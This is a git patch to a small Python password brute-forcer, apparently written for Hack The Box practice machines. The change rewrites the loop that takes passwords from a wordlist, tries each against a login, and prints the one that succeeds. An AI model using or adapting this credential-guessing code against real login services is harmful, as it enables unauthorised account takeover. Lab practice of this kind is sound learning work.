From aeccca71318d99ffc715b8233ed4adbbae07720b Mon Sep 17 00:00:00 2001 From: quoije Date: Wed, 26 Oct 2022 01:39:17 -0400 Subject: [PATCH] update --- quickBF4HTB.py | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/quickBF4HTB.py b/quickBF4HTB.py index e97bc0f..46aa856 100644 --- a/quickBF4HTB.py +++ b/quickBF4HTB.py @@ -19,17 +19,15 @@ def ayy(username, password): return r.text with open(wordlist,'r') as mariob: - while found == False: - for passWL in mariob: - for pasw in passWL.split(): - print("[+++] testing " + usern + ":" + pasw) - if ayy(usern, pasw) == "Incorrect username or password": - print("[+] Found?: " + str(found)) - time.sleep(.01) - else: - pwn = pasw - found = True - print("[+] Found?: " + str(found)) - else: - print(pasw) - exit() + for passWL in mariob: + while found == False: + for pasw in passWL.split(): + print("[+++] testing " + usern + ":" + pasw) + if ayy(usern, pasw) == "Incorrect username or password": + print("[+] Found?: " + str(found)) + time.sleep(.01) + else: + pwn = pasw + found = True + print("[+] Found?: " + str(found) + "| password: " + pasw) + else: exit()